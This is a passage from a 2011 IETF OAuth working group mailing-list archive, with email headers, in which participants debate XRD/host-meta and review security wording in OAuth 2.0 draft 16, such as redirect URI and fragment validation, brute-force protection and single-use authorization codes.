LCB0aGUgYWNjZXNzIHRva2VuIGNyZWRlbnRpYWxzIGFyZQ0KICAgICAgdHJhbnNtaXR0ZWQgaW4g dGhlIFVSSSBmcmFnbWVudCwgd2hpY2ggY2FuIGV4cG9zZSB0aGUgY3JlZGVudGlhbHMgdG8NCiAg ICAgIHVuYXV0aG9yaXplZCBwYXJ0aWVzLuKAnQ0KDQogICAgICBUaGF04oCZcyBiYXNpY2FsbHkg RlVELiAgVGhpcyBzaG91bGQgYmUgbWFkZSBtdWNoIG1vcmUgc3BlY2lmaWMuICBJdA0KICAgICAg ZmFsbHMgaW50byB0aGUgZ2VuZXJhbCBjYXRlZ29yeSBvZiBzZWN1cml0eSBjb25zaWRlcmF0aW9u cyBmb3INCiAgICAgIHJlZGlyZWN0b3JzIGFuZCBjbGllbnRzLi4uDQoNCk5lZWQgcHJvcG9zZWQg dGV4dC4NCg0KDQogICAgICAxMC45IEF1dGhvcml6YXRpb24gQ29kZXMNCg0KICAgICAgTVVTVCBi ZSBzaW5nbGUgdXNlIGlzIGEgZGVhZCBsZXR0ZXIsIGJlY2F1c2UgaXQgcmVxdWlyZXMgYXRvbWlj DQogICAgICBvcGVyYXRpb25zIGF0IHNjYWxlLiAgRXZlbiB0aGluZ3MgbGlrZSBwYXNzd29yZCBj aGFuZ2VzIGFyZSBub3QNCiAgICAgIGF0b21pYw0KICAgICAgaW4gdXNlciBkYXRhYmFzZXMgb2Yg bW9kZXJhdGUgc2l6ZS4gIEF1dGhvcml6YXRpb24gY29kZXMgbWlnaHQgYmUNCiAgICAgIGdlbmVy YXRlZCBxdWl0ZSBmcmVxdWVudGx5IChlLmcuIHdoZW4g4oCcaW1tZWRpYXRlIG1vZGXigJ0gZmxv d3MgYXJlDQogICAgICB1c2VkKSwgc28gYSBNVVNUIGZvciBhbiBhdG9taWMgb3BlcmF0aW9uIGlz IHVucmVhbGlzdGljLg0KDQpOZWVkIHByb3Bvc2VkIHRleHQuDQoNCkVITA0KX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCk9BdXRoIG1haWxpbmcgbGlzdA0K T0F1dGhAaWV0Zi5vcmcNCmh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGluZm8vb2F1 dGgNCg== From eve@xmlgrrl.com Sun Jul 3 21:27:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7B36C1F0C57; Sun, 3 Jul 2011 21:27:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.292 X-Spam-Level: X-Spam-Status: No, score=-1.292 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FROM_DOMAIN_NOVOWEL=0.5, HTML_MESSAGE=0.001, SARE_URI_CONS7=0.306, URI_NOVOWEL=0.5] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 39+OtHpzryHO; Sun, 3 Jul 2011 21:27:44 -0700 (PDT) Received: from promanage-inc.com (eliasisrael.com [50.47.36.5]) by ietfa.amsl.com (Postfix) with ESMTP id 4895F1F0C53; Sun, 3 Jul 2011 21:27:44 -0700 (PDT) Received: from [192.168.168.185] ([192.168.168.185]) (authenticated bits=0) by promanage-inc.com (8.14.4/8.14.4) with ESMTP id p644RaIQ014047 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Sun, 3 Jul 2011 21:27:36 -0700 Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: multipart/alternative; boundary=Apple-Mail-246-733974962 From: Eve Maler In-Reply-To: Date: Sun, 3 Jul 2011 21:27:36 -0700 Message-Id: <2F5498A8-CA85-49FE-BEB0-86483868D86D@xmlgrrl.com> References: To: Eran Hammer-Lahav X-Mailer: Apple Mail (2.1084) Cc: Mark Nottingham , "ietf@ietf.org IETF" , oauth WG Subject: Re: [OAUTH-WG] Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 04:27:45 -0000 --Apple-Mail-246-733974962 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 FWIW, the "Dynamic OAuth Client Registration" proposal made by the = User-Managed Access folks: http://tools.ietf.org/html/draft-hardjono-oauth-dynreg-00 ...makes use of XRD, hostmeta, and discovery, as does the OAuth-based = UMA protocol itself: http://www.ietf.org/internet-drafts/draft-hardjono-oauth-umacore-00.txt We'd be just as happy to use a JSON-based version of XRD if it can be = standardized, and we did do some experimentation with this early on. But = because XRD 1.0 is now stable and is straightforward enough to use for = our needs, we decided to use it normatively for now. The UMA = implementation used by http://smartam.net implements this today and it = works fine. Eve On 3 Jul 2011, at 9:50 AM, Eran Hammer-Lahav wrote: > Hannes, >=20 > None of the current OAuth WG document address discovery in any way, so = clearly there will be no use of XRD. But the OAuth community predating = the IETF had multiple proposals for it. In addition, multiple times on = the IETF OAuth WG list, people have suggested using host-meta and XRD = for discovery purposes. >=20 > The idea that XRD was reused without merit is both misleading and = mean-spirited. Personally, I'm sick of it, especially coming from = standards professionals. >=20 > XRD was largely developed by the same people who worked on host-meta. = XRD predated host-meta and was designed to cover the wider use case. = Host-meta was an important use case when developing XRD in its final few = months. It was done in OASIS out of respect to proper standards process = in which the body that originated a work (XRDS) gets to keep it. >=20 > I challenge anyone to find any faults with the IPR policy or process = used to develop host-meta in OASIS. >=20 > XRD is one of the simplest XML formats I have seen. I bet most of the = people bashing it now have never bothered to read it. At least some of = these people have been personally invited by me to comment on XRD while = it was still in development and chose to dismiss it. >=20 > XRD was designed in a very open process with plenty of community = feedback and it was significantly simplified based on that feedback. In = addition, host-meta further simplifies it by profiling it down, removing = some of the more complex elements like Subject and Alias (which are very = useful in other contexts). XRD is nothing more than a cleaner version of = HTML elements with literally a handful of new elements based on = well defined and widely supported requirements. It's entire semantic = meaning is based on the IETF Link relation registry RFC. >=20 > There is something very disturbing going on these days in how people = treat XML-based formats, especially form OASIS. >=20 > When host-meta's predecessor - side=96meta =96 was originally proposed = a few years ago, Mark Nottingham proposed an XML format not that = different from XRD. There is nothing wrong with JSON taking over as a = simpler alternative. I personally prefer JSON much better. But it would = be reckless and counter productive to ignore a decade of work on XML = formats just because it is no longer cool. Feels like we back in high = school. >=20 > If you have technical arguments against host-meta, please share. But = if your objections are based on changing trends, dislike of XML or = anything OASIS, grow up. >=20 > EHL >=20 >=20 >=20 > From: Hannes Tschofenig > Date: Sun, 3 Jul 2011 00:36:29 -0700 > To: Mark Nottingham > Cc: Hannes Tschofenig , "ietf@ietf.org = IETF" , Eran Hammer-lahav , oauth WG = > Subject: Re: Second Last Call: (Web = Host Metadata) to Proposed Standard -- feedback >=20 >> I also never really understood why XRD was re-used. >>=20 >> Btw, XRD is not used by any of the current OAuth WG documents, see = http://datatracker.ietf.org/wg/oauth/ >>=20 >>=20 >> On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote: >>=20 >>> * XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. Maybe = I'm just scarred by WS-*, but it seems very over-engineered for what it = does. I understand that the communities had reasons for using it to = leverage an existing user base for their specific user cases, but I = don't see any reason to generalise such a beast into a generic = mechanism. >>=20 >>=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth Eve Maler http://www.xmlgrrl.com/blog +1 425 345 6756 http://www.twitter.com/xmlgrrl --Apple-Mail-246-733974962 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252


...makes use of XRD, hostmeta, and discovery, as does the = OAuth-based UMA protocol itself:


We'd be just as happy to use a = JSON-based version of XRD if it can be standardized, and we did do some = experimentation with this early on. But because XRD 1.0 is now stable = and is straightforward enough to use for our needs, we decided to use it = normatively for now. The UMA implementation used by http://smartam.net implements this today = and it works fine.

Eve

On 3 Jul = 2011, at 9:50 AM, Eran Hammer-Lahav wrote:

From: Hannes Tschofenig <hannes.tschofenig@gmx.net>= ;
Date: Sun, 3 Jul 2011 = 00:36:29 -0700
To: Mark = Nottingham <mnot@mnot.net>
Cc: Hannes Tschofenig <hannes.tschofenig@gmx.net>= ;, "ietf@ietf.org IETF" <ietf@ietf.org>, Eran Hammer-lahav = <eran@hueniverse.com>, = oauth WG <oauth@ietf.org>
Subject: Re: Second Last Call: = <draft-hammer-hostmeta-16.txt> (Web Host Metadata) to Proposed = Standard -- feedback

I = also never really understood why XRD was re-used. =

Btw, XRD is not used by any of the current = OAuth WG documents, see http://datatracker.ietf.org= /wg/oauth/


On Jun 22, 2011, = at 8:08 AM, Mark Nottingham wrote:

* XRD -- = XRD is an OASIS spec that's used by OpenID and OAuth. Maybe I'm just = scarred by WS-*, but it seems very over-engineered for what it does. I = understand that the communities had reasons for using it to leverage an = existing user base for their specific user cases, but I don't see any = reason to generalise such a beast into a generic = mechanism.


_______________________________________________
OAuth mailing = list
OAuth@ietf.org
https://www.ietf.org/= mailman/listinfo/oauth


Eve Maler       =                     =        http://www.xmlgrrl.com/blog
=
+1 425 345 6756               =           http://www.twitter.com/xmlgrrl=

= --Apple-Mail-246-733974962-- From eran@hueniverse.com Sun Jul 3 22:06:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 500F821F84DA for ; Sun, 3 Jul 2011 22:06:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.736 X-Spam-Level: X-Spam-Status: No, score=-3.736 tagged_above=-999 required=5 tests=[AWL=0.862, BAYES_00=-2.599, GB_I_LETTER=-2, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vqg1CfMemj5Z for ; Sun, 3 Jul 2011 22:06:12 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 74B9121F8572 for ; Sun, 3 Jul 2011 22:06:04 -0700 (PDT) Received: (qmail 24763 invoked from network); 4 Jul 2011 05:06:04 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 05:06:02 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sun, 3 Jul 2011 22:06:02 -0700 From: Eran Hammer-Lahav To: Shane B Weeden Date: Sun, 3 Jul 2011 22:05:56 -0700 Thread-Topic: [OAUTH-WG] draft 16 review notes Thread-Index: Acw6CBG5G3yaE1COR3qNqUItfOOoYw== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA36977416057eranhueniversecom_" MIME-Version: 1.0 Cc: "oauth@ietf.org" , "oauth-bounces@ietf.org" Subject: Re: [OAUTH-WG] draft 16 review notes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 05:06:13 -0000 --_000_CA36977416057eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable If a fragment was registered (or not) and if the authorization server polic= y require that any fragment provided in the callback matches a pre-reigster= ed value. Fragments, historically, were not very important and without any = real security implications. However, with new browser-based applications, t= he fragment is used to maintain the application state and has the potential= to be used to run code on the client by injecting it through a valid regis= tered callback. I'm ok with banning fragments completely, but what I much prefer and going = to propose shortly is to require full, string-wise comparison of redirectio= n URIs to their registered value. Clients can use the state parameter for a= ny customization they need (and they can register multiple URIs). This seem= s like a much safer, and saner approach that doesn't take away any real fun= ctionality. EHL From: Shane Weeden > Date: Sun, 3 Jul 2011 21:22:46 -0700 To: Eran Hammer-lahav > Cc: Brian Eaton >, "oauth@ietf.= org" >, "oauth= -bounces@ietf.org" > Subject: Re: [OAUTH-WG] draft 16 review notes >From 4.2.1 below: The authorization server validates the request to ensure all required parameters are present and valid. The authorization server MUST verify that the redirect URI to which it will redirect the access token matches a redirect URI pre-registered by the client. The authorization server MUST verify the scheme, authority, and path components of the redirection URI and SHOULD verify the query and fragment components. What does it mean for the authorization server to "verify the fragment component"? From: Eran Hammer-Lahav > To: Brian Eaton >, "oauth@ietf.= org" > Date: 04-07-11 01:25 PM Subject: Re: [OAUTH-WG] draft 16 review notes Sent by: oauth-bounces@ietf.org From: Brian Eaton > Date: Sun, 22 May 2011 20:38:53 =960700 1.4.1 Authorization Code maybe expand the section on important security benefits. =93The use = of authorization codes also improves the ability to recover in the event of compromise of an application server or authorization server.=94 Can you explain? 4.2.1 Authorization Request Validation of the redirect_uri parameter is more important for the implicit grant type. Section 2.1.1 leaves registration of the redirect URI as =93SHOULD=94. It=92s a =93MUST=94 for the implicit f= low. Suggested language: The authorization server validates the request to ensure all required parameters are present and valid. The authorization server MUST verify that the redirect URI to which it will redirect the authorization code matches a redirect URI pre-registered by the client. The authorization server SHOULD verify the scheme, authority, and path of the redirect URI. The authorization server MAY verify the query parameters as well. Changed it for now to: The authorization server validates the request to ensure all required parameters are present and valid. The authorization server MUST verify that the redirect URI to which it will redirect the access token matches a redirect URI pre-registered by the client. The authorization server MUST verify the scheme, authority, and path components of the redirection URI and SHOULD verify the query and fragment components. I'm still not happy with this and want something stronger. 4.3.2 Access Token Request Really need language in here about the risk of brute force attacks on passwords. How about: Since this access token request utilizes the resource owner's password, the authorization server MUST protect the endpoint against brute force attacks. Section 10. Security Considerations There are various security risks mentioned in the OAuth WRAP security considerations that seem worth mentioning here: http://trac.tools.ietf.org/wg/oauth/trac/raw-attachment/wiki/Security= Considerations/OAuthWRAP2.0SecurityConsiderations.pdf Care to extract and edit for inclusion? Section 10.1 Client Authentication nit: =93MUST NOT issue client passwords to installed apps=94 is a dea= d letter, it is not going to change standard industry practice in the slightest. The language from section 3 is more constructive. I=92d suggest the following language for section 10.1 instead =93The authorization server MUST NOT assume that native or user-agent based applications can maintain the confidentiality of client secrets.=94 That does conform with industry practice, so it=92s more likely to be implemented. Do we have consensus for this change? Section 10.2 Client Impersonation I like the content of this section, but it seems to mix several different topics. - general risks of native applications - security considerations for =93immediate mode=94, where authorizati= on requests are processed without end-user interaction. - validation rules for redirect URIs - open redirectors - access token design Most of those merit separate discussion. Need proposed text. 10.3 Access Token Credentials =93When using the implicit grant type, the access token credentials a= re transmitted in the URI fragment, which can expose the credentials to unauthorized parties.=94 That=92s basically FUD. This should be made much more specific. It falls into the general category of security considerations for redirectors and clients... Need proposed text. 10.9 Authorization Codes MUST be single use is a dead letter, because it requires atomic operations at scale. Even things like password changes are not atomic in user databases of moderate size. Authorization codes might be generated quite frequently (e.g. when =93immediate mode=94 flows are used), so a MUST for an atomic operation is unrealistic. Need proposed text. EHL _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA36977416057eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
If a fragment was registered (o= r not) and if the authorization server policy require that any fragment pro= vided in the callback matches a pre-reigstered value. Fragments, historical= ly, were not very important and without any real security implications. How= ever, with new browser-based applications, the fragment is used to maintain= the application state and has the potential to be used to run code on the = client by injecting it through a valid registered callback.

<= /div>
I'm ok with banning fragments completely, but what I much prefer = and going to propose shortly is to require full, string-wise comparison of = redirection URIs to their registered value. Clients can use the state param= eter for any customization they need (and they can register multiple URIs).= This seems like a much safer, and saner approach that doesn't take away an= y real functionality.

EHL

From: Shane Weeden <sweeden@au1.ibm.com>
Date: Sun, 3 Jul 2011 21:22:46 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: Brian Eaton <beaton@google.com>, "oauth@i= etf.org" <oauth@ietf.org&= gt;, "oauth-bounces@ietf.org= " <oauth-bounces@ietf= .org>
Subject: Re: [OAUT= H-WG] draft 16 review notes

From 4.2.1 below:
          &nb= sp; The authorization server validates the request to ensure all
=
required parameters are
      =       present and valid.  The autho= rization server MUST verify that
the redirect URI to which
<= div>            = ;it will redirect the access token matches a redirect URI
pre-reg= istered by the client.
       =      The authorization server MUST verify the sche= me, authority, and
path components of the
  &= nbsp;         redirection URI = and SHOULD verify the query and fragment
components.

What does it mean for the authorization server = to "verify the fragment
component"?




From: Eran Hammer-Lahav <eran@hueniverse.com>
To: Brian Eaton = <beaton@google.com>, "<= a href=3D"mailto:oauth@ietf.org">oauth@ietf.org"
 &= nbsp;          <oauth@ietf.org>
Date: 04-07-11 01:25 PM
Subject: = Re: [OAUTH-WG] draft 16 review notes




From: Brian Eaton= <beaton@google.com>
Date: Sun, 22 May 2011 20:38:53 =960700


      1.4.1 Authorization Code
<= div>
      maybe expand the sec= tion on important security benefits.  =93The use of
&nb= sp;     authorization codes also improves the abil= ity to recover in the event
      o= f compromise of an application server or authorization server.=94

Can you explain?


      4.2.1 Authorization Reques= t

      Validation o= f the redirect_uri parameter is more important for the
 &nbs= p;    implicit grant type.  Section 2.1.1 lea= ves registration of the
      redir= ect URI as =93SHOULD=94.  It=92s a =93MUST=94 for the implicit fl= ow.
      Suggested language:
=

      The authorization s= erver validates the request to ensure all required
  &n= bsp;   parameters are present and valid.  The auth= orization server MUST
      verify = that the redirect URI to which it will redirect the
  &= nbsp;   authorization code matches a redirect URI pre-regist= ered by the
      client. &nbs= p;The authorization server SHOULD verify the scheme,
  =     authority,
     =  and path of the redirect URI.  The authorization server MAY= verify
      the
 &= nbsp;    query parameters as well.

=
Changed it for now to:

   &nbs= p;The authorization server validates the request to ensure all required
parameters are
       &= nbsp;    present and valid.  The authorizatio= n server MUST verify that
the redirect URI to which
&nb= sp;           it wil= l redirect the access token matches a redirect URI
pre-registered= by the client.
        &= nbsp;   The authorization server MUST verify the scheme, aut= hority, and
path components of the
   &n= bsp;        redirection URI and SHO= ULD verify the query and fragment
components.

I'm still not happy with this and want something stronger.
=

      4.3.2 Acc= ess Token Request

     &n= bsp;Really need language in here about the risk of brute force attacks on
      passwords.

How about:

     &nb= sp;      Since this access token request util= izes the resource owner's
password, the
  &nb= sp;         authorization serv= er MUST protect the endpoint against brute
force attacks.


      Sectio= n 10.  Security Considerations

 &nb= sp;    There are various security risks mentioned in th= e OAuth WRAP security
      conside= rations that seem worth mentioning here:

<= br>
Care to extract and edit for inclusion?

<= div>
      Section 10.1 Client = Authentication

      = ;nit: =93MUST NOT issue client passwords to installed apps=94 is a dead
      letter, it is not going to chang= e standard industry practice in the
     = ; slightest.  The language from section 3 is more constructi= ve.  I=92d
      suggest = the following language for section 10.1 instead

&n= bsp;     =93The authorization server MUST NOT assu= me that native or user-agent
      = based applications can maintain the confidentiality of client
&nb= sp;     secrets.=94

 = ;     That does conform with industry practice, so= it=92s more likely to be
      imp= lemented.

Do we have consensus for this change?


      S= ection 10.2 Client Impersonation

   = ;   I like the content of this section, but it seems to mix = several
      different topics.

      - general risks o= f native applications

    &nbs= p; - security considerations for =93immediate mode=94, where authoriza= tion
      requests are processed w= ithout end-user interaction.

   &nb= sp;  - validation rules for redirect URIs

      - open redirectors

      - access token design
=
      Most of those merit sepa= rate discussion.

Need proposed text.

      10.3 &n= bsp;Access Token Credentials
      = =93When using the implicit grant type, the access token credentials are
      transmitted in the URI fragment,= which can expose the credentials to
    &nbs= p; unauthorized parties.=94

   = ;   That=92s basically FUD.  This should be made m= uch more specific.  It
     &n= bsp;falls into the general category of security considerations for
      redirectors and clients...
=
Need proposed text.


=       10.9 Authorization Codes

=
      MUST be single use is a dead= letter, because it requires atomic
     = ; operations at scale.  Even things like password changes ar= e not
      atomic
 =      in user databases of moderate size. &nbs= p;Authorization codes might be
     &nbs= p;generated quite frequently (e.g. when =93immediate mode=94 flows are
      used), so a MUST for an atomic op= eration is unrealistic.

Need proposed text.
<= div>
EHL
__________________________________________= _____
OAuth mailing list
--_000_CA36977416057eranhueniversecom_-- From barryleiba.mailing.lists@gmail.com Mon Jul 4 07:40:05 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 78ABD21F8759 for ; Mon, 4 Jul 2011 07:40:05 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.29 X-Spam-Level: X-Spam-Status: No, score=-103.29 tagged_above=-999 required=5 tests=[AWL=-0.312, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MbKtz8lHKLFY for ; Mon, 4 Jul 2011 07:40:05 -0700 (PDT) Received: from mail-gy0-f172.google.com (mail-gy0-f172.google.com [209.85.160.172]) by ietfa.amsl.com (Postfix) with ESMTP id E6F1E21F8758 for ; Mon, 4 Jul 2011 07:40:04 -0700 (PDT) Received: by gyd5 with SMTP id 5so724627gyd.31 for ; Mon, 04 Jul 2011 07:40:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:date:x-google-sender-auth:message-id:subject :from:to:content-type; bh=Leer7cmv3xZKQUc0TKTNIVkpqEe5Ms/yYrvfxL4885Q=; b=NwZB0DN3N78icw9K/Syy/2i3ERktjywNITUWTUPj9cWgc4jGflwcZyRil5vMgNuDD2 CV8iP1c3FcbkR5tvNrYc4FgSQpG6ot2Cyt1PChbYkmmt8FEYgrIhi1q2Y/gcEwvGWtet cy/zYj1uLfW7wqBC8tbmiMMQH/2dSLn9tOVN4= MIME-Version: 1.0 Received: by 10.236.157.197 with SMTP id o45mr2825699yhk.44.1309790404332; Mon, 04 Jul 2011 07:40:04 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.32.4 with HTTP; Mon, 4 Jul 2011 07:40:04 -0700 (PDT) Date: Mon, 4 Jul 2011 10:40:04 -0400 X-Google-Sender-Auth: vJnypSR5vOCxFlc0GspYj9GM24s Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: [OAUTH-WG] Reminder of draft submission deadlines X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 14:40:05 -0000 Important reminder to all draft editors: The deadline for submissions of -00 version drafts is TODAY, 4 July, at 17:00 PDT (23:59+ UTC). The deadline for submissions of later version drafts is NEXT MONDAY, 11 July, at 17:00 PDT (23:59+ UTC). Please don't miss the deadlines if you have drafts to submit. Barry, as chair From barryleiba.mailing.lists@gmail.com Mon Jul 4 09:12:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AF62221F8731 for ; Mon, 4 Jul 2011 09:12:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.255 X-Spam-Level: X-Spam-Status: No, score=-103.255 tagged_above=-999 required=5 tests=[AWL=-0.278, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WdSvwA+Ezj2U for ; Mon, 4 Jul 2011 09:12:31 -0700 (PDT) Received: from mail-gx0-f172.google.com (mail-gx0-f172.google.com [209.85.161.172]) by ietfa.amsl.com (Postfix) with ESMTP id 7647A21F8730 for ; Mon, 4 Jul 2011 09:12:26 -0700 (PDT) Received: by gxk19 with SMTP id 19so2507398gxk.31 for ; Mon, 04 Jul 2011 09:12:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=TLq6/8JrvQdHkNBsGiJ/9knkOuGiT88S31d3F/+aob4=; b=fKh544yeHxKOzss8o30Un31JSMBgk4DejfBbGC4tYdJCuqUS2DKLRXJbu/ZHAPvwFU u6GStTKsIOnTXwbiu1GSZmiGsgYI3MHXfF/aVbNa4QEN8oVj5qguBNEkrNkvq0o+pGox IHOP5WCnhXCz/O2hMAybzbvP7F0TATrEvYLPQ= MIME-Version: 1.0 Received: by 10.236.192.228 with SMTP id i64mr7804372yhn.111.1309795945912; Mon, 04 Jul 2011 09:12:25 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.32.4 with HTTP; Mon, 4 Jul 2011 09:12:25 -0700 (PDT) In-Reply-To: References: Date: Mon, 4 Jul 2011 12:12:25 -0400 X-Google-Sender-Auth: cjd5143S7NjzN5ofID4mCvx_F_w Message-ID: From: Barry Leiba To: Thomas Hardjono Content-Type: text/plain; charset=ISO-8859-1 Cc: "oauth \(oauth@ietf.org\)" Subject: Re: [OAUTH-WG] New draft on UMA Core protocol --- FW: I-D Action: draft-hardjono-oauth-umacore-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 16:12:34 -0000 > FYI This is a new draft on the UMA Core protocol, which builds on OAuth2.0. > > Hopefully we can present/discuss it at IETF81 in Quebec City. The chairs will be happy to accept a presentation/discussion on this as time permits. That means it will go at the end of the agenda, and we will only get to it if other discussions finish with enough time for this. It would help if you sent us slides to include in the meeting materials. We'll include them in the materials whether or not there's time to present and discuss them, so they'll be part of the permanent record, and so people can look them over. I expect that we'll set the deadline for slide submissions at end of day Friday, 22 July. Send them to the chairs at . Barry, as chair From barryleiba.mailing.lists@gmail.com Mon Jul 4 09:16:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 55D5B21F8572 for ; Mon, 4 Jul 2011 09:16:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.993 X-Spam-Level: X-Spam-Status: No, score=-102.993 tagged_above=-999 required=5 tests=[AWL=-0.016, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZqhIA9HWsjJi for ; Mon, 4 Jul 2011 09:16:28 -0700 (PDT) Received: from mail-gw0-f44.google.com (mail-gw0-f44.google.com [74.125.83.44]) by ietfa.amsl.com (Postfix) with ESMTP id CB0A321F8568 for ; Mon, 4 Jul 2011 09:16:28 -0700 (PDT) Received: by gwb20 with SMTP id 20so346631gwb.31 for ; Mon, 04 Jul 2011 09:16:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=a/Yqwyu/67XEQmpAmMSku6EhH1CgHvEk3ys2dqyrNDs=; b=asO9BSsAPBLJcuS1xzP8SL5QF2f5CDZiW7mLt8Aqt3m6hwZeva90qji45YACZRh2Ju ytMPBei1o9GSnoa7JmyTIzO0RtNQVxQL04UBy9XPbsy4MnWS4xWv5cUIDeBuyDFfAgah 1GBWLaltsBTP5ZHDGH6Ss9abPx2xDpdt4CVGc= MIME-Version: 1.0 Received: by 10.151.24.10 with SMTP id b10mr5241549ybj.93.1309796188213; Mon, 04 Jul 2011 09:16:28 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.32.4 with HTTP; Mon, 4 Jul 2011 09:16:28 -0700 (PDT) In-Reply-To: References: Date: Mon, 4 Jul 2011 12:16:28 -0400 X-Google-Sender-Auth: ZvTHjnJStr-vFZVP0ztUVjj743o Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] draft 16 review notes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 16:16:29 -0000 On Sun, Jul 3, 2011 at 11:21 PM, Eran Hammer-Lahav wrote: > Need proposed text. ... > Need proposed text. ... > Need proposed text. I will add to this that at this stage in the document development, any requests for changes need to be accompanied by specific proposed text. If you absolutely can't come up with anything, you may make the comment anyway and explain why you're at a loss for text, but realize that the 